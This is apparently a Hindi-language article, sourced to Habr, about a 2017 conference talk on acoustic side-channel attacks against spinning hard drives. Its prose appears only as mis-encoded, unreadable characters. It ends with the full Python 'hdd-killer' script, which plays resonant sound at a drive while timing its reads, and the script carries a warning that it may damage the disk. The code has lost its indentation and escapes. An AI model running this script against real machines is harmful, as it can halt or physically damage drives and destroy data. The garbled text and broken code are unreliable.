
рдмреНрдпреВрдирд╕ рдЖрдпрд░реНрд╕ рдореЗрдВ рдПрдХреЛрдкрд╛рд░реНрдЯреА 2017 рдХрдВрдкреНрдпреВрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдореНрдореЗрд▓рди рдореЗрдВ, рдЕрд░реНрдЬреЗрдВрдЯреАрдирд╛ рдХреЗ рд╣реИрдХрд░ рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдУрд░реНрдЯреЗрдЧрд╛ рдиреЗ рдПрдХ рдмрд╣реБрдд рд╣реА рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рдХрд╛рд╕ рджрд┐рдЦрд╛рдпрд╛ - рдорд╛рдЗрдХреНрд░реЛрдлреЛрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ рдкрд░рд┐рд╕рд░ рдХреЗ рдЧреБрдкреНрдд рд╡рд╛рдпрд░рдЯреИрдкрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рдгрд╛рд▓реАред рдЖрд╡рд╛рдЬрд╝ !
рдПрдЪрдбреАрдбреА рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдЙрдЪреНрдЪ-рддреАрд╡реНрд░рддрд╛ рд╡рд╛рд▓реА рдХрдо-рдЖрд╡реГрддреНрддрд┐ рдзреНрд╡рдирд┐рдпреЛрдВ, рдХрджрдореЛрдВ рдФрд░ рдЕрдиреНрдп рдХрдВрдкрдиреЛрдВ рдХреЛ рдкрдХрдбрд╝рддрд╛ рд╣реИред рдорд╛рдирд╡ рд╡рд╛рдгреА рдХреЛ рдЕрднреА рддрдХ рдкрд╣рдЪрд╛рдирд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрд╛ рд╣реИ, рдпрджреНрдпрдкрд┐ рд╡реИрдЬреНрдЮрд╛рдирд┐рдХ (рдХрдо-рдЖрд╡реГрддреНрддрд┐ рдХрдВрдкрди рджреНрд╡рд╛рд░рд╛ рд╡рд╛рдХреН рдкрд╣рдЪрд╛рди, рдЬреЛ рд░рд┐рдХреЙрд░реНрдб рдХреА рдЬрд╛рддреА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЬрд╛рдЗрд░реЛрд╕реНрдХреЛрдк рдпрд╛ рдПрдЪрдбреАрдбреА рд╕реЗ)ред
рдзреНрд╡рдирд┐ рд╡рд╛рдпреБ рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдорд╛рдзреНрдпрдо рдХрд╛ рдХрдВрдкрди рд╣реИред рдПрдХ рд╡реНрдпрдХреНрддрд┐ рдЙрдиреНрд╣реЗрдВ рдХрд╛рди рдХреЗ рдкрд░рджреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдорд╣рд╕реВрд╕ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдХрдВрдкрди рдХреЛ рдЖрдВрддрд░рд┐рдХ рдХрд╛рди рддрдХ рдкрд╣реБрдВрдЪрд╛рддрд╛ рд╣реИред рдорд╛рдЗрдХреНрд░реЛрдлрд╝реЛрди рдХреЛ рд▓рдЧрднрдЧ рдПрдХ рдХрд╛рди рдХреА рддрд░рд╣ рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ - рдпрд╣рд╛рдВ рднреА, рдХрдВрдкрди рдХреЛ рдПрдХ рдкрддрд▓реА рдЭрд┐рд▓реНрд▓реА рджреНрд╡рд╛рд░рд╛ рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╡рд┐рджреНрдпреБрдд рдЖрд╡реЗрдЧ рдХреЛ рдЙрддреНрддреЗрдЬрд┐рдд рдХрд░рддрд╛ рд╣реИред рдмреЗрд╢рдХ, рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдЖрд╕рдкрд╛рд╕ рдХреА рд╣рд╡рд╛ рдореЗрдВ рдЙрддрд╛рд░-рдЪрдврд╝рд╛рд╡ рдХреЗ рдХрд╛рд░рдг рд╕реВрдХреНрд╖реНрдо рдХрдВрдкрди рдХреЗ рдЕрдзреАрди рднреА рд╣реИред рдпрд╣ рдПрдЪрдбреАрдбреА рдХреА рддрдХрдиреАрдХреА рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рд╕реЗ рднреА рдЬреНрдЮрд╛рдд рд╣реЛрддрд╛ рд╣реИ: рдирд┐рд░реНрдорд╛рддрд╛ рдЖрдорддреМрд░ рдкрд░ рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдореЗрдп рдХрдВрдкрди рд╕реНрддрд░ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗрддреЗ рд╣реИрдВ, рдФрд░ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рд╕реНрд╡рдпрдВ рдЕрдХреНрд╕рд░ рд░рдмрд░ рдпрд╛ рдЕрдиреНрдп рдЗрдиреНрд╕реБрд▓реЗрдЯ рд╕рд╛рдордЧреНрд░реА рд╕реЗ рдмрдиреЗ рдХрдВрдкрди-рдкреНрд░реВрдл рдХрдВрдЯреЗрдирд░ рдореЗрдВ рд░рдЦрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рд╕реЗ рдпрд╣ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓рдирд╛ рдЖрд╕рд╛рди рд╣реИ рдХрд┐ HDD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдзреНрд╡рдирд┐рдпрд╛рдБ рд░рд┐рдХреЙрд░реНрдб рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдмрд╕ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдмрд╛рдХреА рд╣реИ рдХрд┐ рдХреИрд╕реЗред
рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдУрд░реНрдЯреЗрдЧрд╛ рдиреЗ рд╕рд╛рдЗрдб-рдЪреИрдирд▓ рд╣рдорд▓реЗ рдХрд╛ рдПрдХ рдЕрдиреВрдард╛ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдпрд╛, рдЕрд░реНрдерд╛рддреН рд╕рдордп рд╣рдорд▓рд╛ред рдпрд╣ рд╣рдорд▓рд╛ рдЗрд╕ рдзрд╛рд░рдгрд╛ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдХрд┐ рджрд┐рдП рдЧрдП рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╕рдордп рдкрд░ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдСрдкрд░реЗрд╢рди рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, "рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛" рд░реАрдбрд┐рдВрдЧ рд╣реЗрдб рдФрд░ рдПрдЪрдбреАрдбреА рдкреНрд▓реЗрдЯрд░ рдХрд╛ рдХрдВрдкрди рд╣реИ, рдЬреЛ рдкрд░реНрдпрд╛рд╡рд░рдг рдХреЗ рдХрдВрдкрди, рдпрд╛рдиреА рдзреНрд╡рдирд┐ рдХреЗ рд╕рд╛рде рд╕рд╣рд╕рдВрдмрджреНрдз рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЧрдгрдирд╛ рд╕рдордп рдХреЛ рдорд╛рдкрдХрд░ рдФрд░ рдбреЗрдЯрд╛ рдХрд╛ рд╕рд╛рдВрдЦреНрдпрд┐рдХреАрдп рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ, рд╣реЗрдб/рдкреНрд▓реЗрдЯрд░ рдХреЗ рдХрдВрдкрди рдФрд░ рдЗрд╕рд▓рд┐рдП рдорд╛рдзреНрдпрдо рдХреЗ рдХрдВрдкрди рдХреЛ рдорд╛рдкрдирд╛ рд╕рдВрднрд╡ рд╣реИред рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдореЗрдВ рдЬрд┐рддрдиреА рджреЗрд░ рд╣реЛрдЧреА, рдПрдЪрдбреАрдбреА рдХрдВрдкрди рдЙрддрдирд╛ рд╣реА рдордЬрдмреВрдд рд╣реЛрдЧрд╛ рдФрд░ рдЗрд╕рд▓рд┐рдП, рдзреНрд╡рдирд┐ рдЙрддрдиреА рд╣реА рддреЗрдЬрд╝ рд╣реЛрдЧреАред
рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдХрдВрдкрди рдХреИрд╕реЗ рдорд╛рдкреЗрдВ? рдмрд╣реБрдд рд╕рд░рд▓: рдмрд╕ рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдЪрд▓рд╛рдПрдБ read () - рдФрд░ рдЗрд╕реЗ рдкреВрд░рд╛ рд╣реЛрдиреЗ рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓реЗ рд╕рдордп рдХреЛ рд░рд┐рдХреЙрд░реНрдб рдХрд░реЗрдВред рдЖрдзреБрдирд┐рдХ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдЖрдкрдХреЛ рдиреИрдиреЛрд╕реЗрдХрдВрдб рд╕рдЯреАрдХрддрд╛ рдХреЗ рд╕рд╛рде рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХреЗ рд╕рдордп рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред
рдХрд┐рд╕реА рд╕реЗрдХреНрдЯрд░ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝рдиреЗ рдХреА рдЧрддрд┐ рд╣реЗрдб рдФрд░ рдкреНрд▓реЗрдЯрд░ рдХреА рд╕реНрдерд┐рддрд┐ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдЬреЛ рдПрдЪрдбреАрдбреА рдХреЗрд╕ рдХреЗ рдХрдВрдкрди рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реЛрддреА рд╣реИред рдЗрддрдирд╛ рд╣реАред
рд╕рд╛рдВрдЦреНрдпрд┐рдХреАрдп рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдПрдХ рд╕рд░рд▓ Kscope рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рд╡реЗ рдХрд╣рддреЗ рд╣реИрдВ, рд╣рд░ рдЖрд╡рд┐рд╖реНрдХрд╛рд░реА рдЪреАрдЬрд╝ рд╕рд░рд▓ рд╣реЛрддреА рд╣реИред

рдХреЗрд╕реНрдХреЛрдк рдЙрдкрдпреЛрдЧрд┐рддрд╛ (рд╕реНрдЯреЗрдЯ() рд╕рд┐рд╕реНрдХрд▓)
рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдореЗрдВ рдЫреЛрдЯреЗ рдЕрдВрддрд░ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП Kscope рдПрдХ рдЫреЛрдЯреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рд╣реИред рд╕реЛрд░реНрд╕ рдХреЛрдб.
рдПрдХ рдЕрд▓рдЧ рднрдВрдбрд╛рд░ рдореЗрдВ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдкрд░ рдЯрд╛рдЗрдо рдЕрдЯреИрдХ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдПрдХ рд╕рдВрд╕реНрдХрд░рдг рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╛рдиреА рд╕рд┐рд╕реНрдЯрдо рдХреЙрд▓ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ read ().
рдПрдЪрдбреАрдбреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдзреНрд╡рдирд┐ рд░рд┐рдХреЙрд░реНрдбрд┐рдВрдЧ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди, рдХреЗрд╕реНрдХреЛрдк рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди

рдмреЗрд╢рдХ, рднрд╛рд╖рдг рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдирд╣реАрдВ рд╕рдордЭрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдПрдЪрдбреАрдбреА рдХрдВрдкрди рд╕реЗрдВрд╕рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рдлреА рдЙрдкрдпреБрдХреНрдд рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдкрдВрдЬреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рд╕рдЦреНрдд рдЬреВрддреЗ рдкрд╣рдиреЗ рд╣реБрдП рдпрд╛ рдирдВрдЧреЗ рдкреИрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдХреЗ рд╕рд╛рде рдПрдХ рдХрдорд░реЗ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИ (рд╕рдВрднрд╡рддрдГ, рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рдирд░рдо рд╕реНрдиреАрдХрд░реНрд╕ рдкрд╣рдиреЗ рд╣реБрдП рд╣реИрдВ рдпрд╛ рдлрд░реНрд╢ рдкрд░ рдореЛрдЯрд╛ рдХрд╛рд▓реАрди рд╣реИ, рддреЛ рдПрдЪрдбреАрдбреА рдХрдВрдкрди рджрд░реНрдЬ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдЧрд╛ - рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рд▓рд╛рдпрдХ рд╣реИ)ред рдХрдВрдкреНрдпреВрдЯрд░ рдЯреВрдЯреЗ рд╢реАрд╢реЗ рдпрд╛ рдЕрдиреНрдп рдШрдЯрдирд╛рдУрдВ рдХреЛ рддреЗрдЬ рдзреНрд╡рдирд┐ рддреАрд╡реНрд░рддрд╛ рдХреЗ рд╕рд╛рде рджрд░реНрдЬ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИред рдЕрд░реНрдерд╛рддреН, рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдПрдХ рдкреНрд░рдХрд╛рд░ рдХреА рдЕрдирдзрд┐рдХреГрдд рдШреБрд╕рдкреИрда рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рдо рдХрд░ рд╕рдХрддреА рд╣реИред
рдПрдЪрдбреАрдбреА рд╣рддреНрдпрд╛рд░рд╛
рд╕рдВрдпреЛрдЧрд╡рд╢, рдЗрд╕реА рддрд░рд╣ рдХреА рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣рд╛рдВ рд╣рдо рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рд╕реЗ рдХрдВрдкрди рдХреЛ рдХреИрдкреНрдЪрд░ рдирд╣реАрдВ рдХрд░рддреЗ, рдмрд▓реНрдХрд┐ рдХрдВрдкрди рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдХреЛ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИред рдпрджрд┐ рдЖрдк рд╕реНрдкреАрдХрд░ рд╕реЗ рдРрд╕реА рдЖрд╡реГрддреНрддрд┐ рдкрд░ рдСрдбрд┐рдпреЛ рдЪрд▓рд╛рддреЗ рд╣реИрдВ рдЬреЛ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдХреА рдЖрд╡реГрддреНрддрд┐ рд╕реЗ рдореЗрд▓ рдЦрд╛рддреА рд╣реИ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдЬрд▓реНрдж рд╣реА рдПрдХ I/O рддреНрд░реБрдЯрд┐ (рдХрд░реНрдиреЗрд▓) рдХреЗ рд╕рд╛рде рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдмрдВрдж рдХрд░ рджреЗрдЧрд╛ред Linux (рдпрд╣ 120 рд╕реЗрдХрдВрдб рдХреЗ рдмрд╛рдж рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрдВрдж рдХрд░ рджреЗрддрд╛ рд╣реИред) рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдХреЛ рдЕрдкрд░рд┐рд╡рд░реНрддрдиреАрдп рдХреНрд╖рддрд┐ рд╣реЛ рд╕рдХрддреА рд╣реИред

рдХреЛрд░ Linux рдПрдбрд┐рдлрд╛рдпрд░ r19u рдпреВрдПрд╕рдмреА рд╕реНрдкреАрдХрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдиреБрдирд╛рджреА рдЖрд╡реГрддреНрддрд┐ рдкрд░ рдзреНрд╡рдирд┐ рдмрдЬрд╛рдиреЗ рдХреЗ 120 рд╕реЗрдХрдВрдб рдмрд╛рдж рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдмрдВрдж рд╣реЛ рдЧрдИред рд╕реНрдкреАрдХрд░ рдХреЛ рдЙрд╕рдХреА рд▓рдЧрднрдЧ рдПрдХ рдЪреМрдерд╛рдИ рдХреНрд╖рдорддрд╛ (100 рдореЗрдЧрд╛рд╡рд╛рдЯ рд╕реЗ рдХрдо) рдкрд░ рдЪрд╛рд▓реВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдХрдВрдкрди рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрд╕реЗ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рд╕реЗ 20 рд╕реЗрдВрдЯреАрдореАрдЯрд░ рдХреА рджреВрд░реА рдкрд░ рдореЗрдЬ рдХреА рдУрд░ рд░рдЦрд╛ рдЧрдпрд╛ рдерд╛ред рдПрдЪрдбреАрдбреА рдХрд┐рд▓рд░ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдХреЗ рд╕рд╛рде
рдпрд╣ рдЙрддреНрд╕реБрдХ рд╣реИ рдХрд┐ рдПрдЪрдбреАрдбреА рдкрд░ рдРрд╕реЗ "рд╣рдорд▓реЗ" рдХрднреА-рдХрднреА рд░реЛрдЬрдорд░реНрд░рд╛ рдХреА рдЬрд┐рдВрджрдЧреА рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рджреБрд░реНрдШрдЯрдирд╛ рд╕реЗ рд╣реЛрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕рд┐рддрдВрдмрд░ 2016 рдореЗрдВ, рдЖрдИрдПрдирдЬреА рдмреИрдВрдХ рдбреЗрдЯрд╛ рд╕реЗрдВрдЯрд░ рдХреЛ рдлрд╛рдпрд░ рдбреНрд░рд┐рд▓ рдХреЗ рдмрд╛рдж 10 рдШрдВрдЯреЗ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рдЪрд╛рд▓рди рдирд┐рд▓рдВрдмрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рд╣реЛрдирд╛ рдкрдбрд╝рд╛ред рдЙрдЪреНрдЪ рджрдмрд╛рд╡ рдореЗрдВ рд╕рд┐рд▓реЗрдВрдбрд░реЛрдВ рд╕реЗ рдирд┐рдХрд▓рдиреЗ рд╡рд╛рд▓реА рдЕрдХреНрд░рд┐рдп рдЧреИрд╕ рдХреА рддреЗрдЬ рдЖрд╡рд╛рдЬ рдХреЗ рдХрд╛рд░рдгред рдзреНрд╡рдирд┐ рдмрд╣реБрдд рддреЗрдЬрд╝ рдереА (130 рдбреАрдмреА рд╕реЗ рдЕрдзрд┐рдХ), рд▓реЗрдХрд┐рди рдЖрдк рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдкрд░ рдЪрд┐рд▓реНрд▓рд╛ рднреА рдирд╣реАрдВ рд╕рдХрддреЗ - рдЗрд╕рд╕реЗ рдПрдЪрдбреАрдбреА рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдореЗрдВ рджреЗрд░реА рдмрдврд╝ рдЬрд╛рддреА рд╣реИред
рдбреЗрдЯрд╛ рд╕реЗрдВрдЯрд░ рдореЗрдВ рд╣рд╛рд░реНрдб рдбреНрд░рд╛рдЗрд╡ рдкрд░ рдорд╛рдирд╡ рдЪреАрдЦрдиреЗ рдХрд╛ рдкреНрд░рджрд░реНрд╢рдиред рд╡рд┐рд▓рдВрдмрддрд╛ рдорд╛рдк

рдЧреБрдВрдЬрд╛рдпрдорд╛рди рдзреНрд╡рдирд┐ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд▓реНрдлреНрд░реЗрдбреЛ рдУрд░реНрдЯреЗрдЧрд╛ рдиреЗ рдПрдХ рдкрд╛рдпрдерди рд▓рд┐рдкрд┐ рд▓рд┐рдЦреА рдЬрд┐рд╕реЗ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ ().
рдпрд╣ рдХрд╛рдлреА рдЫреЛрдЯрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдк рдЗрд╕реЗ рд╕рдВрдкреВрд░реНрдг рд░реВрдк рд╕реЗ рдпрд╣рд╛рдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()рд╕реНрд░реЛрдд: www.habr.com
